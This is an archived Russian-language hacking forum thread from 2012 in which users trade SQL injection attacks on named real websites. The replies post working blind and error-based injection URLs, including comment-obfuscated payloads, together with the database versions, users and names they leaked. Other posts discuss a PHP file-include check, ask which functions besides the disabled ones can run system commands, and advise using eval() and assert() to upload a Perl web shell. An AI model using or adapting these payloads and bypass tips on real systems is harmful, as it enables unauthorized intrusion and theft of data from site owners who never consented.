HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21351  
Старый 24.09.2012, 21:47
pvitalik80
Guest
Сообщений: n/a
Провел на форуме:
847

Репутация: 0
По умолчанию

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cfg'[/COLOR][COLOR="#007700"]]) and[/COLOR][COLOR="#0000BB"]dirname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cfg'[/COLOR][COLOR="#007700"]])==[/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'configfile'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cfg'[/COLOR][COLOR="#007700"]];

else

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'configfile'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#DD0000"]"cryptographp.cfg.php"[/COLOR][COLOR="#007700"];

include([/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'configfile'[/COLOR][COLOR="#007700"]]);

[/COLOR][/COLOR
Реально ли это как-то раскрутить?
 
Ответить с цитированием

  #21352  
Старый 25.09.2012, 08:40
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от justonline  
justonline said:
http://neoncolor.ru/catalog/?gr=18'
Фильтруется вообще куча всего, проще перечислить что не фильтруется =)

(substringкстати фильтруется тоже, чего не скажешь о substr)

Но тем не менее...

Для вывода версии юзал так

Код:
Code:
http://neoncolor.ru/catalog/?s=2&gr=642+and+ascii(lower(substr(@@version,1,1)))=53
Ну или более экзотический вариант

Код:
Code:
ttp://neoncolor.ru/catalog/?s=2&gr=642+and+right(left(@@version,1),1)=5
Version = 5.0.77

@@user и user() фильтруется, точно также обстоит дело и с именами БД.

Цитата:
Сообщение от M_script  
M_script said:
зато connection_id() знает, так что мускул
http://neoncolor.ru/catalog/?gr=18+and+connection_id()=connection_id()
Абсолютно солидарен с товарищем - перед слепой инъекцией не поленитесь проверить с какой СУБД имеем дело, например руководствуясь уникальными функциями каждой СУБД этого поста

Цитата:
Сообщение от justonline  
justonline said:
http://xao.ru/review'
тут дело обстоит намного проще - фильтруется пробелы - юзай /**/

Код:
Code:
http://xao.ru/review'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/(SELECT/**/1/**/UNION/**/SELECT/**/2/**/UNION/**/SELECT/**/3)x/**/GROUP/**/BY/**/MID(VERSION(),FLOOR(RAND(0)*2),64))/**/and/**/1='1
Duplicate entry '5.0.77-log' for key 1

User = 'cl61392_xaoruweb@localhost'

Database = 'cl61392_xaoruweb'


Цитата:
Сообщение от justonline  
justonline said:
http://oring.com.ua
Прикольная скуля, не сразу додумался в каком параметре искать... Хоть бы указал...

Ну вот держи вектор атаки

Код:
Code:
http://oring.com.ua/products/uponor-wirsbo/truba1.php'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/(SELECT/**/1/**/UNION/**/SELECT/**/2/**/UNION/**/SELECT/**/3)x/**/GROUP/**/BY/**/MID(VERSION(),FLOOR(RAND(0)*2),64))/**/and/**/1='1
Duplicate entry '4.1.21-standard' for key 1

Version = 4.1.21-standard

User = oring_com_ua@localhost

Database = oring_com_ua


Дальше сам справишься?)
 
Ответить с цитированием

  #21353  
Старый 25.09.2012, 09:39
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Небольшое дополнение. Вынесу в отдельный пост, а то предыдущий длиннопост и так сложен для восприятия.

Надеюсь, модераторы не осерчают... =)

Цитата:
Сообщение от justonline  
justonline said:
http://neoncolor.ru/catalog/?gr=18
Не давала покоя скуля, была идея проверить на магические кавычки, вдруг получится шелл залить...

Код:
Code:
http://neoncolor.ru/catalog/?s=2&gr=642+and+1=IF('123'=123,1,0)  FALSE

http://neoncolor.ru/catalog/?s=2&gr=642+and+1=IF(123=123,1,0)  TRUE
Как видишь, облом.

Так что, ИМХО, на сайт можно забить...
 
Ответить с цитированием

  #21354  
Старый 25.09.2012, 15:20
Rifes
Guest
Сообщений: n/a
Провел на форуме:
281

Репутация: 0
По умолчанию

Что можно выжать из этого ?

Код:
Code:
http://kb.8day.ru/objects.php?serv=1&it=W'
 
Ответить с цитированием

  #21355  
Старый 25.09.2012, 15:30
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от Rifes  
Rifes said:
Что можно выжать из этого ?
Код:
Code:
http://kb.8day.ru/objects.php?serv=1&it=W'
Не более чем раскрытие путей. Инъекции я тут не увидел.
 
Ответить с цитированием

  #21356  
Старый 27.09.2012, 07:21
trololoman96
Guest
Сообщений: n/a
Провел на форуме:
29020

Репутация: 55
По умолчанию

Цитата:
Сообщение от pvitalik80  
pvitalik80 said:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cfg'[/COLOR][COLOR="#007700"]]) and[/COLOR][COLOR="#0000BB"]dirname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cfg'[/COLOR][COLOR="#007700"]])==[/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'configfile'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cfg'[/COLOR][COLOR="#007700"]];

else

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'configfile'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#DD0000"]"cryptographp.cfg.php"[/COLOR][COLOR="#007700"];

include([/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'configfile'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
Реально ли это как-то раскрутить?
Скорее нет чем да, инклудить можно только из текущей папки.
 
Ответить с цитированием

  #21357  
Старый 27.09.2012, 10:06
blesse
Guest
Сообщений: n/a
Провел на форуме:
29647

Репутация: 1
По умолчанию

Код:
Code:
Disabled PHP Functions: apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system
какие еще функции есть которые выполняяют системные команды?
 
Ответить с цитированием

  #21358  
Старый 27.09.2012, 10:17
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Цитата:
Сообщение от blesse  
blesse said:
Код:
Code:
Disabled PHP Functions: apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system
какие еще функции есть которые выполняяют системные команды?
Это необходимо смотреть по функциям и классам, доступным на данном сервере вычитая из них всё заблокированное и бесполезное. Такие вопросы обычно решаются индивидуально т.к. сложно дать ответ не имея полного представления о сервере.

UDP. Всю необходимую информацию можно получить с помощью get_defined_functions(), get_defined_vars(), get_defined_constants() и get_declared_classes().
 
Ответить с цитированием

  #21359  
Старый 27.09.2012, 12:32
blesse
Guest
Сообщений: n/a
Провел на форуме:
29647

Репутация: 1
По умолчанию

Цитата:
Сообщение от XAMEHA  
XAMEHA said:
Это необходимо смотреть по функциям и классам, доступным на данном сервере вычитая из них всё заблокированное и бесполезное. Такие вопросы обычно решаются индивидуально т.к. сложно дать ответ не имея полного представления о сервере.
какие данные предоставить о системе ?
 
Ответить с цитированием

  #21360  
Старый 27.09.2012, 14:24
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937

Репутация: 0
По умолчанию

blesse, ну у вас хотя бы нет в списке eval() и assert() . Можете через них свободно работать, залить через них Perl Shell (PPS 1.0) и дальше можете плевать на все эти ограничения т.к. Ваш список применим только к РНР файлам!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ